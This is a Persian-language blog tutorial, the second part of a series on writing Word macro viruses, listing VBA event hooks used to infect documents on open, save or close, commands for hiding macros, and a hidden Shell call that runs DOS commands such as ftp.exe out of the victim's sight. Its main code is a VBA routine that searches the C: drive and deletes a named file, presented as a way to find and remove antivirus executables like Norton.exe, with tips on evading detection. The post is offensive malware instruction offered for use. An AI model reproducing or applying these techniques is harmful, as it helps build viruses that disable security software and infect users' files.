exploit

هیچ وقت برای تازه شدن دیر نیست!

exploit

هیچ وقت برای تازه شدن دیر نیست!

ماکرو ویروس2

در این بخش در مورد دستور ها و یکی از روش های چهار گانه مخفی سازی صحبت میکنیم.
طریقه کد نویسی:
در بخش زیر دستورات لازمه را برای شما بیان میکنم:
Document_Open() دستور آلوده ساختن document در هنگام باز شدن می باشد.
Document_New() دستور آلوده ساختن هر پرونده جدید می باشد.
Document_Close() دستور آلوده ساختن هر پرونده در زمانی که آن بسته میشود.
FileSaveAs() دستور آلوده ساختن پرونده در هنگامSaveAs میباشد.
FileSave() دستور الوده سازی پرونده در هنگام Save میباشد.
ToolsSpelling() دستور الوده سازی به هنگام چک کردن spell میباشد.
ToolsGrammar() دستور آلوده ساختن در هنگام چک کردن گرامر می باشد.
AutoExec() دستور الوده ساختن هنگامی که پرونده باز است (مخصوصا برای template )
AutoExit دستور آلوده ساختن هنگامی که پرونده بسته میباشد (مخصوصا برای template)
ViewVBCode() این دستور و دو دستور زیر هر سه در جهت پنهان سازی به کار میروند.
ToolsMacro()
FileTemplates().
Shell "command.com /whatever you want", vbHide این دستور در داس اجرا و دستور vbHide پنجره داس را پنهان نموده و قربانی از اتفاق افتاده اطلاعی نمییابد.
به طور مثال در Shell "command.com /c ftp.exe", vbHide اف تی پی برای پنهان کردن عملیات مورد استفاده قرار گرافته است.

در بخش بالا یک سری از دستورات مورد استفاده در ماکرو ویروس نویسی را مشاهده کردید فقط توجه کنید که در آغاز باید از sub استفاده کنید و در انتها هم از End Sub استفاده کنید.
به مثال زیر توجه نمایید:
Sub Document_New()
msgbox "x11011110x"
End Sub
آنرا در VBA خود قرار دهید ماکرو را اجرا کنید سپس یک document ایجاد نمایید و مشاهده می کنید که یک پنجره جدید پدیدار میشود.
ضمنا میتوانید از دستور On Error Resume Next نیز استفاده کنید تا در هنگام ایجاد خطا به کار خود ادامه دهد.
یک فایل را باز نموده و برای تمربن بیشتر مثال زیر را می نویسیم
Sub Document_Open()
On Error Resume Next همیشه در ابتدای ساب این مورد را استفاده کنید.
Open "C:\xde.txt" For Output As #1 این دستور یم فایلی به نام xde.txt را در داریو سی ایجاد یا باز می نماید.
Print #1, "x11011110x" این دستور x11011110x را در فایل xde.txt قرار میدهد.
Close #1 این دستور فایل های بازشده قبلی را برای شما میبندد.
Msgbox "File Written to" این پیام را برای شما به نمایش میگذارد.

تکنیک های پنهان سازی:
برای این کار روش های متفاوتی وجود دارد که من 4 روش را برای شما توضیح میدهم:

1. پاک کردن آنتی ویروس
همه ی ما با آنها آ شنا هستیم در این بخش هدف ما یافتن راهی برای از کار انداختن آنتی ویروس ها است. برای این کار باید فایل .exe مربوط به آنتی ویروس را بیابیم و آنرا پاک کنیم و بعد از آن محیط کار ما مساعد میشود. اما مشکلی اساسی را در پیش روی خود داریم در اکثر موارد تنظیمات را به شکلی تنظیم میکنیم که اگر آنتی ویروس در مسیر پیش فرض نصب شده باشد در آن صورت آن را از کار می اندازد و اگر در مسیر دیگر باشد کاری انجام نمیدهد پس باید یک موتور جستجو گر را در ویروس تعبیه کنیم که فایل مربوطه را یافته و نابود سازد.

Sub Mainz()
Set Fs = Application.FileSearch این دستور Fs یه عنوان فیل جستجو گر Application قرار میدهد.
es$ = "xdez.txt" این دستور es$ را برای xdez.txt تعریف می نماید.
.LookIn = "C:\" این دستور فایل یا درایو را معین می سازد.
.SearchSubFolders = True این دستور میگوید که کل فایل یا درایو را جستجو نماید.
.FileName = es$ این دستور فایل نیم دنبا ل es$ میگرد.
If .Execute > 0 Then اگر پیدا گشت دستورات زیر را اجرا کن.
MsgBox "File Found" این دستور در پیامی پیدا شده فایل را اطلاع میدهد.
Set ds = CreateObject("Scripting.FileSystemObject") این دستور شی FSO را ایجاد می نماید.
Set fy = ds.GetFile(es$) این دستور اجازه میدهد که مسیر فایل را به دست آوریم
h = (fy.Path) این دستور به مسیر فایل یک متغیر را نسبت میدهد.
SetAttr h, vbNormal ویژگی فایل را به شکل نرمال قرار میدهد.
Kill (h) این دستور فایل را پاک می کند.
MsgBox "File Illimenated" این دستور شما را از پاک شدن آگاه می سازد.
Else
MsgBox "File was not found." این دستور میگوید که فایل پیدا نشد
End If
End With
End Sub

شاید در بخش بالا یک سری مطالب برای شما گیج کننده باشد که سعی میکنم یک سری از مطالب گیج کننده را برای شما باز کنم.
شاید در نگاه اول مثلا سوال کنید که برای متغیر نام Fy را در نظر گرفتم علت این برای مشکل نمودن تشخصی توسط انتی ویروس می باشد.
Set ds = CreateObject("Scripting. ")
این خط اجازه پیدا نمودن مسیر فایل و ایجاد یک FileSystemObject را برای استفاده در ماکرو به شما می دهد.
Set fy = ds.GetFile(es$)
این خط دستور را مشاهده میکنید که در واقع همانند File Operator.GetFile(filespec) کار میکند که در این مورد File Operator تعریف شده در ds و داریم ds.GetFile(filespec) since و file spec تعریف گشته در es$ و درشکل کلی به
Set fy = ds.GetFile(es$) می رسیم.
خط بعدی دستور h = (fy.Path) میباشد . این دستور h را در مسیر فایل ما قرار میدهد (مثلا . C:\My Documents\xdez.txt)
SetAttr h, vbNormal این دستور یک ویژگی را به فایل میدهد و آن هم اینست که آن را به صفت نرمال را نسبت می دهد و آن را قابل پاک نمودن میکند.
Kill (h) که به زبان دیگر به شکل Kill ("C:\My Documents\xdez.txt") و تمام چیز هایی را که در مسیر بیابد پاک مینماید.

در بخش زیر دستورات را بدون توضیحات مربوط به دیباگ مشا هده میکنید.
Sub Mainz()
On Error Resume Next
Set Fs = Application.FileSearch
es$ = "xdez.txt"
With Fs
.LookIn = "C:\"
.SearchSubFolders = True
.FileName = es$
If .Execute > 0 Then
Set ds = CreateObject("Scripting.FileSystemObject")
Set fy = ds.GetFile(es$)
h = (fy.Path)
SetAttr h, vbNormal
Kill (h)
Else
End If
End With
End Sub

خوب اگر حواس شما جمع باشد باید متوجه یک تغییر باشید و آن هم On Error Resume Next است که باید همیشه در نوشتن ماکرو ویروس ها از آن استفاده کنید این دستور به راحتی تمام Error ها را توجه نکرده و به خط بعد دستوری رفته و به کار خود ادمه میدهد.
در این بخش تنها یک نکته باقی ماند و آن هم پاک کردن آنتی ویروس از طریق دستور برای امتحان آنتی ویروس نصب کنید و به جای es$ در es$ ="xdez.txt" باید به طور مثال Norton.exe که به شکل زیر میرسیم:
es$ = "Norton.exe"

یک مساله دیگر اینکه شما با ساختن یک اسکریپت می توانید autoexec.bat را باز کنید و چک کنید.bat تا متوجه گردید آیا پس از پاک شدن اولیه دوباره آنتی ویروس نصب شده است و در صورت نصب دوباره آن را پاک کنید.

نظرات 0 + ارسال نظر
برای نمایش آواتار خود در این وبلاگ در سایت Gravatar.com ثبت نام کنید. (راهنما)
ایمیل شما بعد از ثبت نمایش داده نخواهد شد